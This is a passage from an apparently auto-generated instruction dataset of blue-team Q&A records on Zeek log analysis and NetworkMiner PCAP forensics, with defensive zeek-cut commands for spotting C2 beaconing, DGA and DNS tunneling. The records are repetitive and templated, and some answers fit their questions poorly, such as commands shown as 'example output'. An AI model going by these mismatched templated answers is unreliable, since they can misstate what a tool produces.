"human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043019Z", "updated_at": "2025-12-18T00:11:32.043019Z"} +{"id": "trtp-88dd3b861267", "instruction": "What should I look for when using Zeek for incident response?", "output": "Using Zeek for threat detection:\n\nZeek (formerly Bro) is a network analysis framework that generates structured logs from network traffic. Provides conn.log, dns.log, http.log, and other log types for analysis.\n\nExample:\n```\n# Analyze pcap\nzeek -r capture.pcap\n\n# Output files:\nconn.log # Connection summary\ndns.log # DNS queries/responses\nhttp.log # HTTP requests\nfiles.log # File transfers\nssl.log # TLS connections\nweird.log # Protocol anomalies\n```\n\nTips:\n- Use zeek-cut for field extraction\n- conn.log is the starting point", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043032Z", "updated_at": "2025-12-18T00:11:32.043032Z"} +{"id": "trtp-7dc9a124834d", "instruction": "How do I incorporate Zeek into my security workflow?", "output": "Workflow for Zeek Network Monitor:\n\n1. Understand the context: Zeek (formerly Bro) is a network analysis framework that generates structured logs from network traffic. Provides conn.log, dns.log, http.log, and other log types for analysis.\n\n2. Apply the tool:\n```\n# Analyze pcap\nzeek -r capture.pcap\n\n# Output files:\nconn.log # Connection summary\ndns.log # DNS queries/responses\nhttp.log # HTTP requests\nfiles.log # File transfers\nssl.log # TLS connections\nweird.log # Protocol anomalies\n```\n\n3. Common scenarios: Network security monitoring, Traffic analysis, Threat hunting\n\n4. Best practices:\n - Use zeek-cut for field extraction\n - conn.log is the starting point", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043048Z", "updated_at": "2025-12-18T00:11:32.043048Z"} +{"id": "trtp-4cb0b4682738", "instruction": "What are the advantages of Zeek for security analysis?", "output": "Advantages of Zeek:\n\nZeek (formerly Bro) is a network analysis framework that generates structured logs from network traffic. Provides conn.log, dns.log, http.log, and other log types for analysis.\n\nBest suited for:\n- Network security monitoring\n- Traffic analysis\n- Threat hunting\n- Protocol logging\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043062Z", "updated_at": "2025-12-18T00:11:32.043062Z"} +{"id": "trtp-062b388b2def", "instruction": "How do I use Zeek alongside other tools in my toolkit?", "output": "Integration points for Zeek:\n\nZeek (formerly Bro) is a network analysis framework that generates structured logs from network traffic. Provides conn.log, dns.log, http.log, and other log types for analysis.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043076Z", "updated_at": "2025-12-18T00:11:32.043076Z"} +{"id": "trtp-9861d88532d2", "instruction": "What is Zeek and how is it used in security?", "output": "Zeek conn.log Analysis\n\nconn.log is Zeek's connection log showing network flows with timestamps, addresses, ports, bytes, duration, and connection state. Foundation for network analysis.\n\nPlatform: linux\n\nCommon uses:\n- Connection inventory\n- Find C2 beaconing\n- Identify lateral movement\n- Traffic baseline", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043270Z", "updated_at": "2025-12-18T00:11:32.043270Z"} +{"id": "trtp-3c22cd254564", "instruction": "How do I use Zeek?", "output": "Syntax for Zeek:\n\nzeek-cut field1 field2 < conn.log\n\nconn.log is Zeek's connection log showing network flows with timestamps, addresses, ports, bytes, duration, and connection state. Foundation for network analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043284Z", "updated_at": "2025-12-18T00:11:32.043284Z"} +{"id": "trtp-58985642bf66", "instruction": "Give me a practical example of Zeek.", "output": "Example of Zeek conn.log Analysis:\n\n```\n# View key fields\ncat conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p proto service\n\n# Find long connections (C2 beacons)\ncat conn.log | zeek-cut ts duration id.orig_h id.resp_h | sort -k2 -rn | head\n\n# Find top talkers\ncat conn.log | zeek-cut id.orig_h | sort | uniq -c | sort -rn | head\n```\n\nInterpretation: Each line = one connection. uid links to other logs.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043295Z", "updated_at": "2025-12-18T00:11:32.043295Z"} +{"id": "trtp-22e76e506adc", "instruction": "Provide an example of using Zeek.", "output": "Here is a practical example of Zeek:\n\n```\n# View key fields\ncat conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p proto service\n\n# Find long connections (C2 beacons)\ncat conn.log | zeek-cut ts duration id.orig_h id.resp_h | sort -k2 -rn | head\n\n# Find top talkers\ncat conn.log | zeek-cut id.orig_h | sort | uniq -c | sort -rn | head\n```\n\nconn.log is Zeek's connection log showing network flows with timestamps, addresses, ports, bytes, duration, and connection state. Foundation for network analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043306Z", "updated_at": "2025-12-18T00:11:32.043306Z"} +{"id": "trtp-81dd95413f91", "instruction": "What security tasks can I accomplish with Zeek?", "output": "Use cases for Zeek:\n\n- Connection inventory\n- Find C2 beaconing\n- Identify lateral movement\n- Traffic baseline\n\nconn.log is Zeek's connection log showing network flows with timestamps, addresses, ports, bytes, duration, and connection state. Foundation for network analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043317Z", "updated_at": "2025-12-18T00:11:32.043317Z"} +{"id": "trtp-67cf38247ea2", "instruction": "How do I interpret Zeek output?", "output": "Interpreting Zeek output:\n\nEach line = one connection. uid links to other logs.\n\nExample output:\n```\n# View key fields\ncat conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p proto service\n\n# Find long connections (C2 beacons)\ncat conn.log | zeek-cut ts duration id.orig_h id.resp_h | sort -k2 -rn | head\n\n# Find top talkers\ncat conn.log | zeek-cut id.orig_h | sort | uniq -c | sort -rn | head\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043328Z", "updated_at": "2025-12-18T00:11:32.043328Z"} +{"id": "trtp-abe03a8e97ef", "instruction": "What are some tips for using Zeek?", "output": "Tips for using Zeek:\n\n- uid field links all logs for same connection\n- conn_state shows connection outcome\n- duration helps find persistent connections\n\nUseful for: Connection inventory, Find C2 beaconing, Identify lateral movement", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043340Z", "updated_at": "2025-12-18T00:11:32.043340Z"} +{"id": "trtp-305ba3967b4a", "instruction": "What indicators does Zeek help identify?", "output": "Using Zeek for threat detection:\n\nconn.log is Zeek's connection log showing network flows with timestamps, addresses, ports, bytes, duration, and connection state. Foundation for network analysis.\n\nExample:\n```\n# View key fields\ncat conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p proto service\n\n# Find long connections (C2 beacons)\ncat conn.log | zeek-cut ts duration id.orig_h id.resp_h | sort -k2 -rn | head\n\n# Find top talkers\ncat conn.log | zeek-cut id.orig_h | sort | uniq -c | sort -rn | head\n```\n\nTips:\n- uid field links all logs for same connection\n- conn_state shows connection outcome", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043353Z", "updated_at": "2025-12-18T00:11:32.043353Z"} +{"id": "trtp-5b80616d083a", "instruction": "What's the process for analyzing data with Zeek?", "output": "Workflow for Zeek conn.log Analysis:\n\n1. Understand the context: conn.log is Zeek's connection log showing network flows with timestamps, addresses, ports, bytes, duration, and connection state. Foundation for network analysis.\n\n2. Apply the tool:\n```\n# View key fields\ncat conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p proto service\n\n# Find long connections (C2 beacons)\ncat conn.log | zeek-cut ts duration id.orig_h id.resp_h | sort -k2 -rn | head\n\n# Find top talkers\ncat conn.log | zeek-cut id.orig_h | sort | uniq -c | sort -rn | head\n```\n\n3. Common scenarios: Connection inventory, Find C2 beaconing, Identify lateral movement\n\n4. Best practices:\n - uid field links all logs for same connection\n - conn_state shows connection outcome", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043368Z", "updated_at": "2025-12-18T00:11:32.043368Z"} +{"id": "trtp-569478a380b1", "instruction": "What makes Zeek useful for this task?", "output": "Advantages of Zeek:\n\nconn.log is Zeek's connection log showing network flows with timestamps, addresses, ports, bytes, duration, and connection state. Foundation for network analysis.\n\nBest suited for:\n- Connection inventory\n- Find C2 beaconing\n- Identify lateral movement\n- Traffic baseline\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043382Z", "updated_at": "2025-12-18T00:11:32.043382Z"} +{"id": "trtp-439c04127c6f", "instruction": "Can Zeek be combined with other analysis methods?", "output": "Integration points for Zeek:\n\nconn.log is Zeek's connection log showing network flows with timestamps, addresses, ports, bytes, duration, and connection state. Foundation for network analysis.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-connlog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043249Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043396Z", "updated_at": "2025-12-18T00:11:32.043396Z"} +{"id": "trtp-6a2c96b0591a", "instruction": "How do security analysts use Zeek?", "output": "Zeek dns.log Analysis\n\ndns.log records all DNS queries and responses with query type, class, response code, and answers. Essential for C2 detection, DGA identification, and DNS tunneling analysis.\n\nPlatform: linux\n\nCommon uses:\n- Detect DGA domains\n- Find DNS tunneling\n- Track C2 domains\n- DNS inventory", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043620Z", "updated_at": "2025-12-18T00:11:32.043620Z"} +{"id": "trtp-4cc681320c53", "instruction": "What command or query syntax does Zeek use?", "output": "Syntax for Zeek:\n\nzeek-cut query qtype answers < dns.log\n\ndns.log records all DNS queries and responses with query type, class, response code, and answers. Essential for C2 detection, DGA identification, and DNS tunneling analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043633Z", "updated_at": "2025-12-18T00:11:32.043633Z"} +{"id": "trtp-43b1fe67b764", "instruction": "Provide an example of using Zeek.", "output": "Example of Zeek dns.log Analysis:\n\n```\n# View DNS queries\ncat dns.log | zeek-cut ts query qtype answers\n\n# Find NXDOMAIN responses (DGA indicator)\ncat dns.log | zeek-cut query rcode | grep NXDOMAIN | cut -f1 | sort | uniq -c | sort -rn\n\n# Find TXT records (DNS tunneling)\ncat dns.log | zeek-cut query qtype | grep TXT\n```\n\nInterpretation: query = domain name, qtype = record type, answers = resolved IPs", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043645Z", "updated_at": "2025-12-18T00:11:32.043645Z"} +{"id": "trtp-e852f2795564", "instruction": "Show me an example of Zeek in action.", "output": "Here is a practical example of Zeek:\n\n```\n# View DNS queries\ncat dns.log | zeek-cut ts query qtype answers\n\n# Find NXDOMAIN responses (DGA indicator)\ncat dns.log | zeek-cut query rcode | grep NXDOMAIN | cut -f1 | sort | uniq -c | sort -rn\n\n# Find TXT records (DNS tunneling)\ncat dns.log | zeek-cut query qtype | grep TXT\n```\n\ndns.log records all DNS queries and responses with query type, class, response code, and answers. Essential for C2 detection, DGA identification, and DNS tunneling analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043656Z", "updated_at": "2025-12-18T00:11:32.043656Z"} +{"id": "trtp-a9756a5e6d78", "instruction": "In what scenarios is Zeek useful?", "output": "Use cases for Zeek:\n\n- Detect DGA domains\n- Find DNS tunneling\n- Track C2 domains\n- DNS inventory\n\ndns.log records all DNS queries and responses with query type, class, response code, and answers. Essential for C2 detection, DGA identification, and DNS tunneling analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043668Z", "updated_at": "2025-12-18T00:11:32.043668Z"} +{"id": "trtp-e914a06a3ca6", "instruction": "Explain the output of Zeek.", "output": "Interpreting Zeek output:\n\nquery = domain name, qtype = record type, answers = resolved IPs\n\nExample output:\n```\n# View DNS queries\ncat dns.log | zeek-cut ts query qtype answers\n\n# Find NXDOMAIN responses (DGA indicator)\ncat dns.log | zeek-cut query rcode | grep NXDOMAIN | cut -f1 | sort | uniq -c | sort -rn\n\n# Find TXT records (DNS tunneling)\ncat dns.log | zeek-cut query qtype | grep TXT\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043678Z", "updated_at": "2025-12-18T00:11:32.043678Z"} +{"id": "trtp-3b09ab556f2a", "instruction": "What are common tips for Zeek?", "output": "Tips for using Zeek:\n\n- High NXDOMAIN rate = possible DGA\n- TXT queries can indicate tunneling\n- Correlate with threat intel\n\nUseful for: Detect DGA domains, Find DNS tunneling, Track C2 domains", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043691Z", "updated_at": "2025-12-18T00:11:32.043691Z"} +{"id": "trtp-9e95bd2b7bc8", "instruction": "What should I look for when using Zeek for incident response?", "output": "Using Zeek for threat detection:\n\ndns.log records all DNS queries and responses with query type, class, response code, and answers. Essential for C2 detection, DGA identification, and DNS tunneling analysis.\n\nExample:\n```\n# View DNS queries\ncat dns.log | zeek-cut ts query qtype answers\n\n# Find NXDOMAIN responses (DGA indicator)\ncat dns.log | zeek-cut query rcode | grep NXDOMAIN | cut -f1 | sort | uniq -c | sort -rn\n\n# Find TXT records (DNS tunneling)\ncat dns.log | zeek-cut query qtype | grep TXT\n```\n\nTips:\n- High NXDOMAIN rate = possible DGA\n- TXT queries can indicate tunneling", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043704Z", "updated_at": "2025-12-18T00:11:32.043704Z"} +{"id": "trtp-73c1906dc03a", "instruction": "What is the typical workflow for using Zeek?", "output": "Workflow for Zeek dns.log Analysis:\n\n1. Understand the context: dns.log records all DNS queries and responses with query type, class, response code, and answers. Essential for C2 detection, DGA identification, and DNS tunneling analysis.\n\n2. Apply the tool:\n```\n# View DNS queries\ncat dns.log | zeek-cut ts query qtype answers\n\n# Find NXDOMAIN responses (DGA indicator)\ncat dns.log | zeek-cut query rcode | grep NXDOMAIN | cut -f1 | sort | uniq -c | sort -rn\n\n# Find TXT records (DNS tunneling)\ncat dns.log | zeek-cut query qtype | grep TXT\n```\n\n3. Common scenarios: Detect DGA domains, Find DNS tunneling, Track C2 domains\n\n4. Best practices:\n - High NXDOMAIN rate = possible DGA\n - TXT queries can indicate tunneling", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043720Z", "updated_at": "2025-12-18T00:11:32.043720Z"} +{"id": "trtp-d16647056b2c", "instruction": "What are the advantages of Zeek for security analysis?", "output": "Advantages of Zeek:\n\ndns.log records all DNS queries and responses with query type, class, response code, and answers. Essential for C2 detection, DGA identification, and DNS tunneling analysis.\n\nBest suited for:\n- Detect DGA domains\n- Find DNS tunneling\n- Track C2 domains\n- DNS inventory\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043734Z", "updated_at": "2025-12-18T00:11:32.043734Z"} +{"id": "trtp-61155457d159", "instruction": "How does Zeek integrate with other security tools?", "output": "Integration points for Zeek:\n\ndns.log records all DNS queries and responses with query type, class, response code, and answers. Essential for C2 detection, DGA identification, and DNS tunneling analysis.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-dnslog-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043597Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043748Z", "updated_at": "2025-12-18T00:11:32.043748Z"} +{"id": "trtp-b5efa99e3636", "instruction": "Explain NetworkMiner for security professionals.", "output": "NetworkMiner\n\nNetworkMiner is a network forensic analysis tool that extracts artifacts from PCAP files including files, images, hosts, credentials, and sessions without manual reconstruction.\n\nPlatform: windows\n\nCommon uses:\n- Quick artifact extraction\n- Credential discovery\n- File recovery\n- Host inventory", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043946Z", "updated_at": "2025-12-18T00:11:32.043946Z"} +{"id": "trtp-2b0f66d4c4d7", "instruction": "How do I use NetworkMiner?", "output": "Syntax for NetworkMiner:\n\nGUI - Open PCAP file\n\nNetworkMiner is a network forensic analysis tool that extracts artifacts from PCAP files including files, images, hosts, credentials, and sessions without manual reconstruction.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043960Z", "updated_at": "2025-12-18T00:11:32.043960Z"} +{"id": "trtp-7b6c5ebc7630", "instruction": "Give me a practical example of NetworkMiner.", "output": "Example of NetworkMiner:\n\n```\n# Features:\n- Hosts tab: All hosts with OS fingerprinting\n- Files tab: Extracted files from transfers\n- Images tab: Extracted images\n- Credentials tab: Found usernames/passwords\n- Sessions tab: Reconstructed sessions\n- Anomalies tab: Suspicious findings\n```\n\nInterpretation: Tabs organize different artifact types - drill down for details", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043972Z", "updated_at": "2025-12-18T00:11:32.043972Z"} +{"id": "trtp-bed41c4da316", "instruction": "Give me a practical example of NetworkMiner.", "output": "Here is a practical example of NetworkMiner:\n\n```\n# Features:\n- Hosts tab: All hosts with OS fingerprinting\n- Files tab: Extracted files from transfers\n- Images tab: Extracted images\n- Credentials tab: Found usernames/passwords\n- Sessions tab: Reconstructed sessions\n- Anomalies tab: Suspicious findings\n```\n\nNetworkMiner is a network forensic analysis tool that extracts artifacts from PCAP files including files, images, hosts, credentials, and sessions without manual reconstruction.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043982Z", "updated_at": "2025-12-18T00:11:32.043982Z"} +{"id": "trtp-1cc3b4332346", "instruction": "What are the use cases for NetworkMiner?", "output": "Use cases for NetworkMiner:\n\n- Quick artifact extraction\n- Credential discovery\n- File recovery\n- Host inventory\n\nNetworkMiner is a network forensic analysis tool that extracts artifacts from PCAP files including files, images, hosts, credentials, and sessions without manual reconstruction.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043994Z", "updated_at": "2025-12-18T00:11:32.043994Z"} +{"id": "trtp-d14b2a428820", "instruction": "What do the results from NetworkMiner mean?", "output": "Interpreting NetworkMiner output:\n\nTabs organize different artifact types - drill down for details\n\nExample output:\n```\n# Features:\n- Hosts tab: All hosts with OS fingerprinting\n- Files tab: Extracted files from transfers\n- Images tab: Extracted images\n- Credentials tab: Found usernames/passwords\n- Sessions tab: Reconstructed sessions\n- Anomalies tab: Suspicious findings\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044005Z", "updated_at": "2025-12-18T00:11:32.044005Z"} +{"id": "trtp-58baf464108f", "instruction": "What are common tips for NetworkMiner?", "output": "Tips for using NetworkMiner:\n\n- Free version has most features\n- Good complement to Wireshark\n- Exports files automatically\n\nUseful for: Quick artifact extraction, Credential discovery, File recovery", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044017Z", "updated_at": "2025-12-18T00:11:32.044017Z"} +{"id": "trtp-edf60f0426b0", "instruction": "How can NetworkMiner help identify malicious activity?", "output": "Using NetworkMiner for threat detection:\n\nNetworkMiner is a network forensic analysis tool that extracts artifacts from PCAP files including files, images, hosts, credentials, and sessions without manual reconstruction.\n\nExample:\n```\n# Features:\n- Hosts tab: All hosts with OS fingerprinting\n- Files tab: Extracted files from transfers\n- Images tab: Extracted images\n- Credentials tab: Found usernames/passwords\n- Sessions tab: Reconstructed sessions\n- Anomalies tab: Suspicious findings\n```\n\nTips:\n- Free version has most features\n- Good complement to Wireshark", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044030Z", "updated_at": "2025-12-18T00:11:32.044030Z"} +{"id": "trtp-3e517a3e5d44", "instruction": "What is the typical workflow for using NetworkMiner?", "output": "Workflow for NetworkMiner:\n\n1. Understand the context: NetworkMiner is a network forensic analysis tool that extracts artifacts from PCAP files including files, images, hosts, credentials, and sessions without manual reconstruction.\n\n2. Apply the tool:\n```\n# 